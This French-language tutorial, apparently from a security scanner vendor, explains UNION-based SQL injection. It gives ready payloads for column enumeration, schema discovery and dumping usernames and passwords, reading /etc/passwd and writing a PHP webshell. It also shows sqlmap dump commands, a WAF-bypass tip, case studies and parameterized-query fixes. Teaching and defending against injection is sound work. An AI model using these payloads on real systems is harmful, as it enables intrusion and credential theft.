Utilise UNION SELECT pour ajouter des requêtes contrôlées par l'attaquant à la requête originale, extrayant les données directement dans la réponse HTTP.
TL;DR
ORDER BY N est moins détectable que la méthode UNION SELECT NULLL'injection SQL par UNION est la forme la plus directe d'extraction de données en bande. Lorsqu'une application reflète les résultats de requête dans sa réponse HTTP — une liste de produits, un résultat de recherche, un profil utilisateur — un attaquant ajoute une seconde instruction SELECT en utilisant le mot-clé UNION. La base de données exécute les deux requêtes et retourne les deux ensembles de résultats, les lignes de l'attaquant apparaissant aux côtés ou à la place de la sortie légitime de l'application.
Cette technique appartient à la catégorie des injections SQL en bande selon CWE-89. Elle nécessite deux prérequis : le résultat de la requête doit être reflété dans la réponse, et le SELECT contrôlé par l'attaquant doit produire le même nombre de colonnes que la requête originale, avec des types de données compatibles. Quand ces conditions sont réunies, l'injection par UNION est la méthode d'extraction la plus rapide — une seule requête HTTP peut retourner l'intégralité du schéma de base de données ou un dump complet d'identifiants.
La technique est bien comprise par les outils automatisés. L'option -technique=U de SQLMap cible spécifiquement l'injection par UNION. CVE-2024-1597 (driver JDBC PostgreSQL, CVSS 10.0) a démontré comment un paramètre de driver mal configuré (preferQueryMode=SIMPLE) fait dégénérer les requêtes paramétrées en substitution littérale non sécurisée, rendant toute application utilisant cette configuration trivialement injectable par UNION.
L'attaque se déroule en quatre étapes déterministes quel que soit le moteur de base de données cible.
Étape 1 — Énumération du nombre de colonnes via ORDER BY (méthode préférée) :
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- erreur : "The ORDER BY position number 3 is out of range"
-- Nombre de colonnes = 2La méthode ORDER BY est préférée car elle ne modifie pas la structure SELECT. Les WAF et systèmes IDS qui recherchent les mots-clés UNION ne se déclencheront pas sur les sondes ORDER BY.
Étape 2 — Confirmation du nombre de colonnes via UNION SELECT NULL (quand ORDER BY est supprimé) :
' UNION SELECT NULL-- -- erreur si nombre incorrect
' UNION SELECT NULL,NULL-- -- erreur si nombre incorrect
' UNION SELECT NULL,NULL,NULL-- -- succès quand le nombre correspondNULL est compatible avec tous les types de données SQL courants, maximisant la compatibilité lors de l'énumération sans déclencher d'erreurs de type incompatible.
Étape 3 — Identifier les colonnes compatibles avec les chaînes :
' UNION SELECT 'a',NULL,NULL-- -- tester la colonne 1
' UNION SELECT NULL,'a',NULL-- -- tester la colonne 2
' UNION SELECT NULL,NULL,'a'-- -- tester la colonne 3Une valeur chaîne apparaissant dans la réponse identifie une colonne acceptant la sortie de chaînes — nécessaire pour exfiltrer des données texte depuis la table cible.
Étape 4 — Extraction de données :
-- Énumération du schéma (MySQL/PostgreSQL/MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
-- Énumération des colonnes pour une table spécifique
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
-- Dump d'identifiants — colonne unique via concaténation (MySQL)
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -
-- Colonnes multiples
' UNION SELECT username,password,NULL FROM users--| Variante | Technique | Quand utiliser |
|---|---|---|
| Extraction directe | UNION SELECT avec colonnes cibles | Résultat de requête reflété dans la réponse |
| Concaténation colonne unique | CONCAT(col1,':',col2) ou col1||':'||col2 | Une seule colonne chaîne disponible |
| Découverte du schéma | information_schema.tables / all_tables | Première étape pour trouver les noms de tables cibles |
| Divulgation version/utilisateur | version(), @@version, user(), current_user | Empreinte du type de DB et des permissions |
| Lecture de fichier au niveau OS (MySQL) | UNION SELECT LOAD_FILE('/etc/passwd') | MySQL avec privilège FILE, secure_file_priv='' |
| Écriture de webshell (MySQL) | UNION SELECT '<?php...' INTO OUTFILE '/var/www/shell.php' | MySQL avec privilège FILE, racine web accessible en écriture |
Les variantes LOAD_FILE() et INTO OUTFILE nécessitent que le compte MySQL détienne le privilège FILE et que secure_file_priv soit non défini — courant dans les environnements d'hébergement partagé historiques mais rare dans les déploiements conteneurisés modernes.
Chaque moteur de base de données a des exigences syntaxiques uniques pour l'extraction par UNION.
-- MySQL / MariaDB — extraction de version (table 3 colonnes, colonne 2 est chaîne)
' UNION SELECT NULL,version(),NULL-- -
' UNION SELECT NULL,@@version,NULL-- -
' UNION SELECT NULL,CONCAT(user(),'@',database()),NULL-- -
-- Énumération des tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
-- PostgreSQL
' UNION SELECT NULL,version()::text,NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,current_database(),NULL--
-- MSSQL — clause FROM non requise pour les constantes
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT NULL,SYSTEM_USER,NULL--
-- Oracle — clause FROM OBLIGATOIRE ; utiliser DUAL pour les constantes
' UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1--
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE rownum=1--
' UNION SELECT NULL,user,NULL FROM dual--
-- SQLite
' UNION SELECT sqlite_version()--
' UNION SELECT name FROM sqlite_master WHERE type='table'--Oracle exige une clause FROM dans chaque instruction SELECT. Pour extraire des valeurs constantes (utilisateur, version), utiliser FROM DUAL. Pour énumérer les tables, utiliser all_tables au lieu de information_schema.tables — Oracle n'expose pas information_schema. C'est un obstacle courant lors du passage entre payloads spécifiques à différents moteurs SQL.
Heartland Payment Systems (2008) — Une injection SQL contre le réseau de traitement des transactions de Heartland a exposé environ 130 millions de dossiers de cartes de crédit et de débit. Les attaquants ont utilisé l'injection SQL initiale pour prendre pied sur le réseau interne, puis ont installé des logiciels malveillants de reniflage de paquets sur les systèmes de traitement des transactions. Au moment de la divulgation, Heartland était la plus grande violation de données jamais enregistrée. Cette violation a démontré que l'injection SQL n'est pas limitée à l'extraction de données d'applications web — elle sert de vecteur d'accès initial pour une compromission plus profonde du réseau.
CVE-2024-1597 — Driver JDBC PostgreSQL (CVSS 10.0, février 2024) — Le driver JDBC PostgreSQL avec preferQueryMode=SIMPLE n'applique pas correctement la paramétrage. Dans ce mode, le driver substitue les paramètres directement dans la chaîne de requête comme littéraux, convertissant effectivement chaque requête paramétrée en requête concaténée par chaîne. Toute application utilisant cette configuration de driver est entièrement injectable par UNION indépendamment de la qualité du code de l'application. La détection nécessite l'empreinte de la pile Java et la vérification de preferQueryMode dans les traces d'erreur de la chaîne de connexion.
CVE-2026-32306 / CVE-2026-33142 — OneUptime ClickHouse — Injection SQL via les paramètres de requête agrégée sort, select et groupBy. Le correctif initial pour CVE-2026-32306 n'avait corrigé que la méthode _aggregateBy ; CVE-2026-33142 a suivi pour couvrir trois chemins de construction de requête non protégés restants. Ceci illustre un pattern critique : les correctifs incomplets pour l'injection SQL sont courants quand les développeurs ne corrigent que le paramètre signalé et laissent les autres intacts.
HackerOne #383127 — Valve Steam (prime de 25 000 $) — Injection SQL dans report_xml.php via le paramètre tableau countryFilter[]. L'injection par paramètre tableau est systématiquement sous-détectée par les scanners qui ne testent que les valeurs de paramètres scalaires. Le rapport note que le payload utilisait UNION SELECT standard contre la base de données de reporting.
/search?q=test'. Chercher une erreur de base de données, un ensemble de résultats vide ou un contenu modifié.test' ORDER BY 1--, en incrémentant jusqu'à ce qu'une erreur apparaisse.test' UNION SELECT NULL,NULL-- jusqu'au succès de la requête sans erreur.test' UNION SELECT 'x',NULL--, en faisant tourner la position de chaîne.information_schema.tables une fois qu'un payload fonctionnel est établi.X-Forwarded-For / User-Agent — ce sont des points d'injection fréquemment négligés.# Scan de paramètre GET standard
sqlmap -u "https://target.com/search?q=test" \
--technique=U --batch --dbs
# Injection par UNION dans le corps JSON
sqlmap -u "https://target.com/api/search" \
--data='{"query":"test"}' \
--content-type="application/json" \
--technique=U --batch
# Dump de table spécifique après découverte du schéma
sqlmap -u "https://target.com/search?q=1" \
-D target_db -T users --dump --batch
# Injection par paramètre tableau
sqlmap -u "https://target.com/report?filter[]=1" \
--technique=U --batchBreachVex détecte l'injection par UNION en scorant les changements de réponse sur l'injection d'apostrophe et le différentiel booléen, puis en escaladant les findings probables confirmés vers un outillage offensif standard de l'industrie pour l'extraction du schéma.
Les requêtes paramétrées lient l'entrée utilisateur comme valeur typée, l'empêchant d'être interprétée comme syntaxe SQL quel que soit son contenu.
# Python psycopg2 — SÛR
cursor.execute(
"SELECT name, price FROM products WHERE category = %s",
(category,)
)
# VULNÉRABLE — interpolation f-string
cursor.execute(f"SELECT name, price FROM products WHERE category = '{category}'")// Node.js pg — SÛR
const result = await client.query(
'SELECT name, price FROM products WHERE category = $1',
[category]
);
// VULNÉRABLE — littéral de gabarit
await client.query(`SELECT name, price FROM products WHERE category = '${category}'`);// Java PreparedStatement — SÛR
PreparedStatement stmt = conn.prepareStatement(
"SELECT name, price FROM products WHERE category = ?"
);
stmt.setString(1, category);
ResultSet rs = stmt.executeQuery();L'injection par UNION nécessite que l'application reflète les résultats de requête. Supprimer les erreurs de base de données verbeuses supprime le canal d'extraction UNION immédiat, bien que des techniques à l'aveugle puissent encore s'appliquer. Retourner des messages d'erreur génériques (400 Bad Request, 500 Internal Server Error) sans contenu spécifique à la base de données. Journaliser les erreurs détaillées uniquement côté serveur.
L'injection SQL basée sur UNION ajoute une instruction SELECT contrôlée par l'attaquant à la requête originale via le mot-clé UNION. L'ensemble de résultats combiné est retourné dans la réponse HTTP, permettant l'extraction directe de données depuis des tables arbitraires.
Deux méthodes : la méthode ORDER BY incrémente la position de colonne (ORDER BY 1, ORDER BY 2, ...) jusqu'à ce qu'une erreur apparaisse ; la méthode NULL ajoute UNION SELECT NULL, NULL, NULL... jusqu'à ce que la requête réussisse. ORDER BY est moins détectable car elle ne modifie pas la structure de la requête.
Oracle SQL exige une clause FROM dans toutes les instructions SELECT, même lors de la sélection de valeurs constantes. La table DUAL remplit ce rôle : UNION SELECT NULL,NULL FROM DUAL au lieu de UNION SELECT NULL,NULL.
CVE-2024-1597 (CVSS 10.0) affecte le driver JDBC PostgreSQL avec preferQueryMode=SIMPLE. Dans ce mode, les requêtes paramétrées échouent silencieusement et traitent les paramètres comme du SQL littéral, rendant toute application utilisant cette configuration trivialement injectable par UNION.
Oui, une fois le nombre de colonnes et les types de données compatibles établis. information_schema.tables liste toutes les tables ; information_schema.columns liste toutes les colonnes. Oracle utilise all_tables à la place. MSSQL utilise sysobjects avec xtype='U' pour les tables utilisateur.
Claroty Team82 (2022) a montré que cinq grands fournisseurs WAF n'inspectaient pas la syntaxe JSON pour les patterns SQL. Envelopper les payloads UNION SELECT dans des fonctions JSON MySQL (JSON_LENGTH, JSON_EXTRACT) ou envoyer via le type de contenu application/json contourne l'inspection WAF au niveau HTTP.
Heartland Payment Systems (2008) a été compromis via injection SQL, exposant environ 130 millions de dossiers de cartes. Les attaquants ont utilisé l'injection SQL initiale pour accéder au réseau, puis ont installé des renifleurs de paquets sur le réseau de traitement des transactions — la plus grande violation de données jamais enregistrée à cette époque.